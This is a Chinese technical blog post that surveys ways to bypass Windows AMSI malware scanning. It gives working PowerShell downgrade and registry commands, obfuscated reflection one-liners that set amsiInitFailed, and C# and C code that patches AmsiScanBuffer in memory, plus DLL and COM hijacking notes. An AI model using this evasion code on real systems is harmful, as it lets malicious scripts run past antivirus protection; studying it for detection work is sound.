技术分享|amsi绕过总结

简介: 技术分享|amsi绕过总结

何为AMSI

Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。

微软对他产生的目的做出来描述:

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。

amsi只是一个通道,真正检测出是否是恶意脚本的是杀软,比如defender,amsi和杀软的区别在于无论我们的恶意脚本是经过多次模糊处理还是远程执行,amsi都可以在脚本注入内存前检测到。而普通的静态杀毒软件是没办法的。

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被动态加载进入内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。  AmsiScanBuffer()  AmsiScanString()

amsi是所有杀毒软件都可以调用吗?并不是!amsi是在Windows 10 和Windows Server 2016 之后才有的,然后并不是所有的杀毒软件都可以调用amsi接口。国内的基本都不可以。

github上有一个项目记录了可以调用amsi的杀毒软件

https://github.com/subat0mik/whoamsi/

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:/windows/system32/amsi.dll。

2982d69cdb465038d074bf4632626aa0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

目前AMSI功能已集成到Windows 10的这些组件中

1.用户账户控制,也就是UAC(EXE、COM、MSI、ActiveX的安装)
%windir%/System32/consent.exe
2.Powershell(脚本、交互式使用、动态代码求值)
System.Management.Automation.dll
3.Windows脚本宿主
  wscript.exe
  cscript.exe
4.JavaScript、VBScript
  %windir%/System32/jscript.dll
  %windir%/System32/vbscript.dll
5.Office VBA macros(宏)
VBE7.dll
6 .NET Assembly
clr.dll
7.WMI
%windir%/System32/wbem/fastprox.dll

主流对抗

1.降级攻击

因为低版本(2.0)的powershell是没有amsi的,所以在powershell2.0上执行恶意脚本就不会被检测到

下图是powershell在各个系统上的预装情况,可以看到现在常见的win10、Windows 2016、2019很少预装有powershell2.0(amsi是从win10、2016开始存在的),但是由于很多服务需要低版本的powershell,所以在红蓝对抗中也会碰到装有powershell2.0 的机器。

3dcc28d33b66ca9853504e7761cc69e0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

查看当前powershell版本

$PSVersionTable

82b15be57eb62960fce171fb61dd1146_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

判断能否使用powershell 2.0

注:非管理员权限
Get-ChildItem 'HKLM:/SOFTWARE/Microsoft/NET Framework Setup/NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)/p{L}'} | Select -ExpandProperty Version
注:需要管理员权限
Win10:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
Win2016/Win2019
Get-WindowsFeature PowerShell-V2

c04b2764d280310700f3fa4892e81276_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

ee795c265cac4e25c4221d706179237a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

powershell.exe -version 2   //改变powershell运行版本

a947d80e054140266ae15d8e6e877dce_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如果在脚本中使用,在脚本开头加入 #requires -version 2,这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版本执行。当然并不是所有脚本都可以在低版本的powershell执行。

还有一点,用powershell3 /4/5都还是默认以当前版本的powershell来执行

7349eac5450a3a365ac2d2efbc11efd1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

另外vbscript/jscript不存在所谓降级攻击,因为在10/16/19并不存在像powershell一样的断代情况

2.拆分

9eb2e4b4a154c9bcdeb955e23926f49e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

3.改注册表禁用AMSI

设置注册表HKCU/Software/Microsoft/Windows Script/Settings/AmsiEnable设置为 0,以禁用AMSI。

Remove-Item -Path "HKLM:/Software/Microsoft/Windows Script/Settings/AmsiEnable" -Recurse

但是,改注册表并不是一种隐秘的方法,并且还需要管理员权限   不怎么适用了

4.一键关闭AMSI

使用一行命令关闭amsi,但直接使用肯定是不行的 会被拦

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true)

fe02de1292cba24cb8d0d1c3981c988c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以一个个试 到底是哪里被杀了

经过测试发现 AmsiUtilsAmsiInitFailed被杀了

接下来的思路就很明确了,就是针对AmsiUtilsAmsiInitFailed这两个字符串进行处理了

和混淆shellcode的方法差不多,先编码再解码

//System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据
$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
//对System.Management.Automation.AmsiUtils进行解码
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
//对amsiInitFailed进行解码
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
//组合起来执行
$f.SetValue($null,$true)

027cac3f84933f32129941e0f6c069c3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

混淆的关键点就是 编码解码 [string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "

hex编码

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

base64亲测失效,虽然可以关掉amsi,但被defender查杀,会立刻结束掉当前powershell进程

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

更多的混淆办法去学习下powershell,了解语言本身

可参考:https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ

5.内存补丁

AMSI检测相关api的调用顺序

AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开session
AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭session
AmsiUninitialize – 删除AMSI API

因为amsi是基于字符串静态扫描的,用到的函数是 AmsiScanBuffer,我们是不是可以hook该函数,使其返回我们需要的值呢?理则是修改AmsiScanBuffer函数的参数值(两个思路,一个是修改扫描长度,另一个是修改返回值)

看下AmsiScanBuffer的函数参数

HRESULT AmsiScanBuffer( 
HAMSICONTEXT amsiContext,
 PVOID buffer,
 ULONG length,
 LPCWSTR contentName,
 HAMSISESSION amsiSession,
 AMSI_RESULT *result );

为了让amsi.dll 返回 AMSI_RESULT_NOT_DETECTED,这里的关注点是 hResult,即amsi.dll的返回值,只要它小于0,就可以bypass amsi。通过分析我们可以在AmsiInitialize、AmsiOpenSession、AmsiScanBuffer这3个函数中patch(补丁)都可以达到bypass amsi的效果.

分析后,AmsiInitializ不可以利用,AmsiOpenSession、AmsiScanBuffer可以利用

demo1

$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
String b =
"reffuBnacSismA";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib, String.Join(""
,
b.Reverse().ToArray()));
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0x57;
p[2] = 0x00;
p[3] = 0x07;
p[4] = 0x80;
p[5] = 0xc3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}
}
"@
Add-Type $p
[Program]::Bypass()

这段码的功能就是在AmsiScanBuffer的函数地址处直接打补丁,补丁汇编是:

mov eax,0x80070057
ret

0x80070057也就是-2147024809,是一个负数,当然也可以是其他负数,而AmsiScanBuffer也可以修改成AmsiOpenSession。怎么把汇编代码转换成代码中的数组呢?使用https://defuse.ca/online-x86-assembler.htm#disassembly,可以很快转换。我们来修改代码测试下:

$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib,
"AmsiOpenSession");
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0xFF;
p[2] = 0xFF;
p[3] = 0xFF;
p[4] = 0xFF;
p[5] = 0xC3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
 }
}
"@
Add-Type $p
[Program]::Bypass()

我们修改了被打补丁的函数为AmsiOpenSession,补丁汇编代码为:

mov eax,-1
ret

我们知道了补丁函数可以为AmsiOpenSession、AmsiScanBuffer,补丁代码可以变化很多,只要返回结果为负数就行。

#include <Windows.h>
#include <stdio.h>
int main() {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    Sleep(500);
    DWORD oldProtect;
    char patch = 0xc3;
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hAmsi);
    return 0;
}

0xc3的硬编码对应的汇编是ret,也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。

非主流对抗

1.劫持amsi.dll

原理

由于研发人员使用 LoadLibrary函数导入dll的时候没有使用绝对路径,因此程序会首先在当前目录下寻找dll

因此我们在 powershell.exe同目录下放一个amsi.dll做劫持

amsi.dll`的默认目录:`c:/windows/system32/amsi.dll

还要考虑amsi.dll的导出函数,使用 Aheadlib工具生成或者自己找到 amsi.dll 对应的导出函数,自己写,一样的。当然自己的dll没有签名,这里还涉及到免杀的问题,如果可以添加微软前面,再劫持,又有很大的可玩性。

2.NULL字符绕过

这个方法已经失效了,但还是提一下,扩充下思路。

Amsi扫描使用的是 AmsiScanString函数

HRESULT WINAPI AmsiScanString(
_In_ HAMSICONTEXT amsiContext,
_In_LPCWSTR string, // Will be terminated at the first null
character
_In_LPCWSTR contentName,
_In_opt_HAMSISESSION session,
_Out_AMSI_RESULT *result
);

其中string就是脚本内容,在执行脚本之前加个空字符就可以截断,而修复的方法是用了 AmsiScanBuffer这个函数,所以amsi才会用这两个函数来扫描

HRESULT WINAPI AmsiScanBuffer(
_In_  HAMSICONTEXT amsiContext,
_In_  PVOID buffer, // Not terminated at the null character
_In_  ULONG length,
_In_  LPCWSTR contentName,
_In_  opt_HAMSISESSION session,
_Out_  AMSI_RESULT *result
);

3.COM server劫持

原理:amsi.dll在老版本中使用 CoCreateInstance()函数调用IID和CLSID来实例化COM接口。而这个函数会先从注册表HKCU中找对应的dll去解析,也就是当前用户,因此我们创建相应的注册表,让它调用失败就行了。简单来说利用的是注册表优先级来绕过。

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER/Software/Classes/CLSID/{fdb00e52-a214-4aa1-8fba-
4357bb0072ec}]
[HKEY_CURRENT_USER/Software/Classes/CLSID/{fdb00e52-a214-4aa1-8fba-4357bb0072ec}/InProcServer32]
@="C://goawayamsi.dll"

而微软通过直接调用amsi.dll 的 DllGetClassObject() 函数替换 CoCreateInstance()可以避免注册表解析。

但是这种方法也失效了,不过可以学习下思路。

最后

AMSI 也还是有更多的方向可以研究,混淆等等 但更了解powershell 对于bypass有更好的帮助 还一个平台可参考用用https://amsi.fail/

在线生成的平台

081cba9c54777aeec22d21f7433271c3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

参考:

《Bypass AMSI的前世今生》by L.N.

相关文章
|
3月前
|
SQL 运维 安全
GitHub爆赞的Web安全防护指南,网络安全零基础入门必备教程!
web安全现在占据了企业信息安全的很大一部分比重,每个企业都有对外发布的很多业务系统,如何保障web业务安全也是一项信息安全的重要内容。 然而Web 安全是一个实践性很强的领域,需要通过大量的练习来建立对漏洞的直观认识,并积累解决问题的经验。 Web安全与防护技术是当前安全界关注的热点,今天给小伙伴们分享的这份手册尝试针对各类漏洞的攻防技术进行体系化整理,从漏洞的原理到整体攻防技术演进过程进行详细讲解,从而形成对漏洞和web安全的体系化的认识。
|
4月前
|
SQL 安全 中间件
网安零基础入门神书,全面介绍Web渗透核心攻击与防御方式!
Web安全是指Web服务程序的漏洞,通常涵盖Web漏洞、操作系统洞、数据库漏洞、中间件漏洞等。 “渗透测试”作为主动防御的一种关键手段,对评估网络系统安全防护及措施至关重要,因为只有发现问题才能及时终止并预防潜在的安全风险。 根据网络安全调查统计,75%的网络攻击行为都是来自Web应用层面而非网络层面。
|
3月前
|
PHP
[极客大挑战 2019]RCE ME
[极客大挑战 2019]RCE ME
47 0
|
3月前
|
数据采集 Web App开发 前端开发
不存在的!教你几招轻松绕过网站限制
不存在的!教你几招轻松绕过网站限制
376 0
|
安全 小程序 Windows
[笔记]攻防工具分享之 CobaltStrike框架 《二》生成后门
[笔记]攻防工具分享之 CobaltStrike框架 《二》生成后门
206 0
|
6月前
|
SQL
小课堂 -- sql注入绕过技术
小课堂 -- sql注入绕过技术
136 0
pikachu靶场通关秘籍之跨站请求伪造攻击
pikachu靶场通关秘籍之跨站请求伪造攻击
131 0
pikachu靶场通关秘籍之跨站请求伪造攻击
|
Go 数据安全/隐私保护
某教程学习笔记(一):21、后渗透攻击
某教程学习笔记(一):21、后渗透攻击
134 0
某教程学习笔记(一):21、后渗透攻击
|
SQL Oracle 安全
PortSwigger之SQL注入实验室笔记(一)
PortSwigger之SQL注入实验室笔记
320 0
PortSwigger之SQL注入实验室笔记(一)
|
SQL 安全 Oracle
PortSwigger之SQL注入实验室笔记(二)
PortSwigger之SQL注入实验室笔记
330 0
PortSwigger之SQL注入实验室笔记(二)
下一篇
无影云桌面